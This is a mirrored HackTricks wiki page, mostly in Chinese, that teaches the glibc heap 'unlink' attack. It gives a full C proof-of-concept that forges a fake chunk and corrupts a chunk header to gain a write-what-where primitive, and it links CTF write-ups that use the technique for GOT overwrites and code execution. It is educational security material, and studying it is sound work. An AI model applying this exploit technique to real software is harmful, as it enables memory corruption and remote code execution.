mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
128 lines
7.0 KiB
Markdown
128 lines
7.0 KiB
Markdown
# Unlink Attack
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## 基本信息
|
||
|
||
当这种攻击被发现时，它主要允许 WWW (Write What Where)，然而，一些 **检查被添加** 使得攻击的新版本更加有趣、更复杂且 **无用**。
|
||
|
||
### 代码示例：
|
||
|
||
<details>
|
||
|
||
<summary>代码</summary>
|
||
```c
|
||
#include <unistd.h>
|
||
#include <stdlib.h>
|
||
#include <string.h>
|
||
#include <stdio.h>
|
||
|
||
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
|
||
|
||
struct chunk_structure {
|
||
size_t prev_size;
|
||
size_t size;
|
||
struct chunk_structure *fd;
|
||
struct chunk_structure *bk;
|
||
char buf[10]; // padding
|
||
};
|
||
|
||
int main() {
|
||
unsigned long long *chunk1, *chunk2;
|
||
struct chunk_structure *fake_chunk, *chunk2_hdr;
|
||
char data[20];
|
||
|
||
// First grab two chunks (non fast)
|
||
chunk1 = malloc(0x8000);
|
||
chunk2 = malloc(0x8000);
|
||
printf("Stack pointer to chunk1: %p\n", &chunk1);
|
||
printf("Chunk1: %p\n", chunk1);
|
||
printf("Chunk2: %p\n", chunk2);
|
||
|
||
// Assuming attacker has control over chunk1's contents
|
||
// Overflow the heap, override chunk2's header
|
||
|
||
// First forge a fake chunk starting at chunk1
|
||
// Need to setup fd and bk pointers to pass the unlink security check
|
||
fake_chunk = (struct chunk_structure *)chunk1;
|
||
fake_chunk->size = 0x8000;
|
||
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
|
||
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
|
||
|
||
// Next modify the header of chunk2 to pass all security checks
|
||
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
|
||
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
|
||
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
|
||
|
||
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
|
||
// This results in chunk1 pointer pointing to chunk1 - 3
|
||
// i.e. chunk1[3] now contains chunk1 itself.
|
||
// We then make chunk1 point to some victim's data
|
||
free(chunk2);
|
||
printf("Chunk1: %p\n", chunk1);
|
||
printf("Chunk1[3]: %x\n", chunk1[3]);
|
||
|
||
chunk1[3] = (unsigned long long)data;
|
||
|
||
strcpy(data, "Victim's data");
|
||
|
||
// Overwrite victim's data using chunk1
|
||
chunk1[0] = 0x002164656b636168LL;
|
||
|
||
printf("%s\n", data);
|
||
|
||
return 0;
|
||
}
|
||
|
||
```
|
||
</details>
|
||
|
||
- 如果使用了 tcaches（在 2.26 之后），攻击将无法工作
|
||
|
||
### 目标
|
||
|
||
此攻击允许**将指向一个块的指针更改为指向其自身之前的 3 个地址**。如果这个新位置（指针所在位置的周围）有有趣的内容，比如其他可控的分配/栈等，就可以读取/覆盖它们，从而造成更大的伤害。
|
||
|
||
- 如果这个指针位于栈中，因为它现在指向自身之前的 3 个地址，用户可能可以读取和修改它，因此可以从栈中泄露敏感信息，甚至可能在不触碰 canary 的情况下修改返回地址。
|
||
- 在 CTF 示例中，这个指针位于指向其他分配的指针数组中，因此，将其指向 3 个地址之前并能够读取和写入，就可以使其他指针指向其他地址。\
|
||
由于用户也可以读取/写入其他分配，他可以泄露信息或在任意位置覆盖新地址（如在 GOT 中）。
|
||
|
||
### 要求
|
||
|
||
- 在内存中（例如栈）有一些控制，以创建几个块并为某些属性赋值。
|
||
- 栈泄漏以设置假块的指针。
|
||
|
||
### 攻击
|
||
|
||
- 有几个块（chunk1 和 chunk2）
|
||
- 攻击者控制 chunk1 的内容和 chunk2 的头部。
|
||
- 在 chunk1 中，攻击者创建一个假块的结构：
|
||
- 为了绕过保护，他确保字段 `size` 是正确的，以避免错误：`corrupted size vs. prev_size while consolidating`
|
||
- 并且假块的字段 `fd` 和 `bk` 指向 chunk1 指针在内存中的存储位置，偏移量分别为 -3 和 -2，因此 `fake_chunk->fd->bk` 和 `fake_chunk->bk->fd` 指向内存（栈）中 chunk1 地址所在的位置：
|
||
|
||
<figure><img src="../../images/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
||
|
||
- chunk2 的头部被修改，以指示前一个块未使用，并且大小是包含的假块的大小。
|
||
- 当第二个块被释放时，这个假块被解除链接，发生：
|
||
- `fake_chunk->fd->bk` = `fake_chunk->bk`
|
||
- `fake_chunk->bk->fd` = `fake_chunk->fd`
|
||
- 之前已经使得 `fake_chunk->fd->bk` 和 `fake_chunk->bk->fd` 指向同一个地方（chunk1 存储在栈中的位置，因此这是一个有效的链表）。由于**两者都指向同一个位置**，只有最后一个（`fake_chunk->bk->fd = fake_chunk->fd`）会生效。
|
||
- 这将**覆盖栈中指向 chunk1 的指针为存储在栈中 3 个地址之前的地址（或字节）**。
|
||
- 因此，如果攻击者能够再次控制 chunk1 的内容，他将能够**在栈中写入**，有可能覆盖返回地址，跳过 canary 并修改局部变量的值和指向。甚至再次修改存储在栈中的 chunk1 地址到一个不同的位置，如果攻击者能够再次控制 chunk1 的内容，他将能够在任何地方写入。
|
||
- 请注意，这之所以可能是因为**地址存储在栈中**。风险和利用可能取决于**假块的地址存储在哪里**。
|
||
|
||
<figure><img src="../../images/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
||
|
||
## 参考
|
||
|
||
- [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit)
|
||
- 尽管在 CTF 中发现 unlink 攻击会很奇怪，但这里有一些使用此攻击的写作：
|
||
- CTF 示例：[https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
|
||
- 在这个例子中，栈中有一个 malloc 的地址数组。执行 unlink 攻击以能够在这里分配一个块，因此能够控制 malloc 地址数组的指针。然后，还有另一个功能允许修改这些地址中块的内容，这允许将地址指向 GOT，修改函数地址以获取泄漏和 RCE。
|
||
- 另一个 CTF 示例：[https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
|
||
- 就像在前一个例子中一样，有一个分配地址的数组。可以执行 unlink 攻击，使指向第一个分配的地址指向数组开始之前的几个位置，并在新位置覆盖此分配。因此，可以覆盖其他分配的指针，使其指向 atoi 的 GOT，打印以获取 libc 泄漏，然后用一个 gadget 的地址覆盖 atoi GOT。
|
||
- CTF 示例，具有自定义 malloc 和 free 函数，利用与 unlink 攻击非常相似的漏洞：[https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
|
||
- 有一个溢出，允许控制将被（自定义）释放的 FD 和 BK 指针。此外，堆具有执行位，因此可以泄漏堆地址并将函数从 GOT 指向具有 shellcode 的堆块以执行。
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|